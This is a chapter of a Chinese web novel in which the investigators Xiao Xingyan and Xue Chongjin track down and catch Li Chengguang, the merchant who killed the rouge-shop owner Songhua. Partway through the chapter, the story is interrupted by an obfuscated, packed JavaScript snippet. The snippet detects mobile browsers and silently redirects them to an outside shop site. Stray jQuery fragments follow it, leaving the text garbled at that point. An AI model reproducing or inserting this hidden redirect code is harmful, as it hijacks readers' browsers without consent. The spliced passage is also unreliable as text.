106. 杀害崧花的凶手

作品:《女国公从烧窑开始[武周]

    三人正说着,一阵邪风吹来,吹起一阵粉末来,把三人都呛了。


    “什么鬼!”薛崇锦挥着手,有些烦躁:“怎么灰这么大?”


    萧行雁直面这股邪风,被吹得最狠,咳得震天响,还打了两个喷嚏。


    邪风渐渐小了,萧行雁又咳了两声,才缓过来。


    “不对!后院里怎么会有这么大的灰尘!”商榷愣了片刻,却是突然激动起来:“花娘与我说过,制胭脂时最忌讳混入别的东西,院子里不可能有多余的灰尘!”


    他做录事也有一段时间,每日不知看多少案卷,虽说多愁善感了一些,但这方面该有的敏锐度也是有的。


    “会不会是云母粉或者什么其他矿物研制的东西?”萧行雁偶尔了解过一些这些,知道不少胭脂水粉会加入一些研磨细腻的矿石。


    “绝对不会!花娘就是从医师那里了解了矿石大多有损发肤,才想自己开胭脂店!她与我说过,制胭脂时所用皆是花草,从未用矿石!”呼呼


    说到激动处,商榷眼神闪出光芒,但想到事实,眼神又迅速暗淡下来。


    “倒是难得。”薛崇锦朝着风吹来的地方看去,只见一只铁锹倒在地上:“这是挖花的?”


    商榷看着铁锹,又发起愣来。


    “?”薛崇锦喃喃道:“不是吧,又回忆了……”


    “应该不是。”萧行雁脸色有些凝重:“那铁锹上有暗红色,看其他地方,这东西明显是新的,那红色应该不是铁锈,可能是血迹。”


    薛崇锦一愣,迅速走过去蹲下细细观察。


    “崧花身上没有伤痕对吧?”


    “没有。”商榷声音愤怒,鼻孔都气得微微翕张起来:“这铁锹上原本不可能出现在这里!花娘从没挖过花,她的花都是从花农手中买来的花瓣!”


    “这肯定是凶手的东西!”


    萧行雁走过来,蹲下,拿出帕子在铁锹上摸了一把,又放到眼前,用手指沾了点,捻了捻。


    她收起帕子:“是珊瑚粉,能积累这么厚一层,大概是长期与珊瑚打交道的。能和珊瑚长期打交道的,只能是三种人,权贵、医师和胡商。”


    “难道是医师?”薛崇锦也捻起珊瑚末:“又有铁锹,还有珊瑚,也只有医师才有挖药的需求吧?”


    “未必。新安,你见过窑场的铁锹吗?”薛崇锦没回答,萧行雁又接着道:“常和泥土打交道的不会这么干净,这铁锹成色又新,八成是人买来便闲置的,又出现在这里,我猜这人当时应当是想要埋人,却发现后院全通铺了石板,只好又放弃了。”


    薛崇锦皱了皱眉:“当时门是锁着的。”


    “也可能是烟雾弹。”萧行雁站起来,又在铁锹的木杆上擦了一下,将帕子展开给薛崇锦看:“而且上面这些,如果我没看错的话,大约是青金石……就是群青的原矿。”


    “群青贵重,能接触到的人不多,再加上这人又有珊瑚又有群青原矿,手上又沾染上东西,那大约不是豪门世族,所以我猜,这人是个胡商,还是个专门做矿石生意的胡商。”


    .


    “卖矿的胡商,我倒是认识几个……”纳尔斯纳闷道:“你们问这个干嘛?”


    萧行雁正要开口,薛崇锦就笑道:“自然是想见见,你别管我们是做什么的,见了人还能不给你银子吗?”


    “?”萧行雁虽不明所以,但还是乖乖闭上了嘴。


    纳尔斯觑了旁边像是要杀人的商榷:“不是我不说,这……”


    “……”薛崇锦对着人挥挥手:“出去出去!”


    把人赶出去,她又道:“他面相凶,没事,你直说便是。”


    “蕃坊南头有两家,不过他们生意也不好做,只能打打杂。”说到这里,纳尔斯也不由得对人有些惋惜:“胡商大多由胡商长老把控,其实就是王子身边的一拨人,少给一分钱在神都都开不下去!”


    纳尔斯有些感叹:“还好我不走商,只开胡肆!”


    薛崇锦却是没心思听他再说什么,连忙拽着萧行雁就往外走,还往纳尔斯怀中扔了包银子:“谢了!”


    纳尔斯手忙脚乱接过来,打开一看,一包铜子。


    “……”他一拉荷包,重新系起来:“好小气!”


    .


    两辆马车停在门口,三个穿着官服的人走下来,其中两个还穿着大理寺的衣裳。


    胡商塔塔尔自觉还算安分守己,可看到大理寺的人,心中还是没忍住七上八下。


    “三位大人,这……这是?”他小心翼翼抬着眼,生怕是胡商长老团张口胡来引来了大理寺的人。


    “你不必怕。”薛崇锦笑眯眯的,倒是很有几分亲和力:“我们只是来问几个问题,你们这些卖矿的胡商,哪些是既能长期接触到珊瑚,又能接触到群青的?”


    塔塔尔松了一口气:“您客气了,能接触到这些的也就这几家……”


    待到他一口气说了几家,又升起点别的心思:“您要是想买,我这里也有群青!质量不比其他地方差。”


    萧行雁笑笑,终于开口了:“我爱画画,如今市面上的群青不合我要求,我想要那种普通的群青,我要的是金精。”


    说是金精,其实本质上还是青金石,不过是含有黄铁矿包裹体的青金石。


    塔塔尔有些纳闷了:“金精可比群青次多了……”


    萧行雁顿时没笑了。


    塔塔尔一个激灵,回过神来:“唉!您看我这张嘴!”


    “您想要,我这里是没有了。”塔塔尔有些失落:“我也是第一次走商,没什么经验,能带来的东西本来就不多,我就带了最贵的群青。”


    “不过我知道李承光那里有,他说不定能给您!”


    “李承光?”萧行雁有些稀奇:“汉人?”


    “没,他胡人!”塔塔尔大剌剌道:“不过听说他好像有个汉人母亲,他全家都以此为傲,便给他起了汉人的名字。”


    萧行雁了然。


    “嘿!塔塔尔!你家什么时候傍上朝中的大人了?”


    一个青年突然蹦了出来,笑嘻嘻地看向众人,看到三人时,这青年一愣,顿时紧张起来:“县主大人……”


    说着,视线落到萧行雁身上时又是一顿,怔愣了片刻:“您就是萧大人?”


    萧行雁没什么表情,朝着人点点头。


    塔塔尔知道自己这新朋友的尿性,在人身上死死戳了一下:“李承光,三位大人正要找你!”


    “你就是李承光?”薛崇锦有些好奇地打量了几眼,只见对方倒是胡人的长相,只是骨像上隐约有些汉人的模样。


    李承光僵硬地笑了笑:“对,不知道大理寺找我有何要事?”


    萧行雁挑挑眉:“没人说大理寺找你,是我要买金精。”


    “是……是么?”李承光似乎是松了口气:“那好,萧大人要什么样的?”


    萧行雁回头看了薛崇锦一眼,见对方也点点头,笑着从怀里掏出张帕子:“说起来,前两日我与县主一同去桃花面,见里面一铁锹上沾了些青金石,我就想要这样的。”


    李承光顿时头皮发麻,脚上的动作比他反应更快。


    没等众人反应过来,他便跑开五六米了。


    萧行雁立马回神,迅速从怀里抽出那柄玉如意,朝着人就扔了过去。


    玉如意很是有几分重量,一下砸到李承光腿弯处,人顿时便委顿下来,整个人跪在地上。


    但不知道萧行雁到底砸到了哪里,他整条腿都麻了。


    三人迅速上前。


    薛崇锦和商榷迅速把人压住,商榷尤不解恨,在他身上踹了两脚。


    塔塔尔整个人瑟瑟发抖,但还是鼓起勇气:“大……大人,他到底犯了什么事儿?”


    萧行雁笑着收起玉如意,用帕子的另一面擦了起来。


    “还能是因为什么,一树桃花面就脸色大变,一见大理寺就腿软……”


    塔塔尔顿时张大了嘴巴。


    “不……不可能!他平日里虽爱在胡肆流连,但绝非伤天害理之人!”


    桃花面的事情他也听说过,这件事情多骇人啊,但……但怎么会是李承光呢?


    “是吗?”萧行雁收起帕子,玉如意血腥的本貌就露在众人眼前:“是不是他自然要问过才知道?”


    说着,她蹲下来,用玉如意挑起李承光的下巴:“是你害的桃花面的掌柜?”


    李承光看着那模样瘆人的血腥玉如意,瑟瑟发抖地点了点头:“是……是我。”


    “为什么?”萧行雁眼神困惑:“她与你无怨无仇,为什么?”


    商榷在人脸上踹了两下:“快说!”


    “我……我听我父母提起,他要与我退亲,我心中起过才……”


    “什么退亲?”


    “你不是和怀州程氏的小娘子定的亲吗?”


    两道声音顿时响起。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16853154|180738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    萧行雁挑了挑眉,看向塔塔尔。


    “什么怀州程氏?”薛崇锦也抬头看向塔塔尔。


    萧行雁手中那玉如意震慑还在,吓得塔塔尔打了个嗝:“李承光他娘和怀州程氏似乎有一些交情,他和人家有个娃娃亲,在我们这堆人里都是炫耀了个遍的。”


    “她就是怀州程氏那小娘子!”李承光咬牙切齿:“两月前我就听说,那怀州程氏的小娘子很是不满意这桩婚事,这次来神都就是为了和我退亲!”


    “凭什么?!”李承光双眼发红:“结果呢,原来是早就和人有了首尾!”


    说着,他双眼赤红地看向商榷:“上个月我亲眼看见她和你见了面!这个贱人!”


    “啪——”


    商榷尤不解气,对着他另一半脸又扇了一巴掌:“花娘自小在神都长大,根本不是你那未婚妻!你个畜生!”


    “小娘子要与你解除婚约,那就解除便是!”商榷整个人都布满了戾气:“一别两宽,各生欢喜!你们二人都未见过,又有什么情谊?又让人家小娘子替你守什么贞洁?!”


    “你又凭什么对人下手!”商榷低垂着头,逆着光,让人看不清神色,唯有声音有些哽咽。


    “啪嗒——”


    是眼泪,眼泪像是断了线的珠子一样,落在地上。


    “你把我的花娘还回来!!!”他近乎是低吼出声。


    “好了!”薛崇锦连忙吧商榷掰开:“走了,找到他人了,咱们得将此事迅速收案!”


    商榷还是一动不动。


    “崧花如今还在停尸房,将此案结了,她也好早些入土为安。如今正是夏日,再放下去,人就要烂了。”


    商榷手指突然抽动了一下,像是猛然间被注入了一道生机。


    “……对,花娘说最讨厌变丑了,不行……她得好好的。”


    说着,他迅速拽住李承光,朝着马车拖去。


    三人到了大理寺,幸而现在还有人当值,又交接了一番,此案才结。


    案卷彻底收起来时,薛崇锦才松了一口气。


    然而这口气还没松彻底,她就听萧行雁道:"此案完了,大约是要查另一桩了。"


    薛崇锦这才想起来摘星楼那户人家。


    “啧。”她长叹一口气:“我只怕我应付不了,那妇人看着可不是个好相与的。”


    “不查了?”萧行雁看向薛崇锦:“我觉得你不查的话,她怕是更要找上门。”


    薛崇锦挠了挠头:“今日怕是也查不了了吧?”


    天空被夕阳染上了一抹薄红,看时间差不多也到酉时,也是归家的时候了。


    门外骏马嘶鸣,马车驶出,各人回了各家。


    萧行雁坐在马车上,隔着车窗看向外面。


    行人归家,倦鸟归巢。


    她斜倚在车壁上,颇为放松勾了勾嘴角。


    “雁娘!”叶芜自个钻了进来,手里捧了个透明的玻璃瓶,脸上还带着笑:“我让人备了葡萄冰饮。”


    透明的葡萄汁在琉璃瓶里晃着,葡萄果肉随着人的动作也翩迁起来,又落到瓶底。


    “纳尔斯说你又问起胡商了,你想买东西干嘛不找我呢?”


    萧行雁把眼神从琉璃瓶里的葡萄汁上收了回来:“不是买东西,只是找到凶手了。”


    “!”叶芜一愣:“你没事吧?”


    萧行雁摇摇头,从怀里掏出那柄坠着人许久的玉如意,一副神秘做派:“它可立了大功了,回头我回家了,定是要把它挂起来!”


    “?!”叶芜大惊:“你真用它把人砸出血来了?”


    萧行雁:“………………”


    “去去去!”萧行雁又好气又好笑,把玉如意塞回怀里:“只是把人吓了一跳,虽说我真用它来拦人了,但只是砸了人的腿,怎么能随便把人砸出血呢?太血腥了!”


    叶芜:“听着,好像也没有好很多……”


    萧行雁接过葡萄汁:“你走出来的还是坐马车出来的?用我送你回去吗?”


    叶芜本来想说自己是坐马车出来的,可听到后面这个问题,他迅速改口:“我原是坐马车出来的,不过我有些事情,严伯已经自行回去了。”


    萧行雁也没多想,从怀中掏出请帖来:“你若是之后在商会见到‘桃花面掌柜’,还要麻烦你递给她,那日在摘星楼的事情我觉得有她的手笔,我也想问一番。”


    “好。”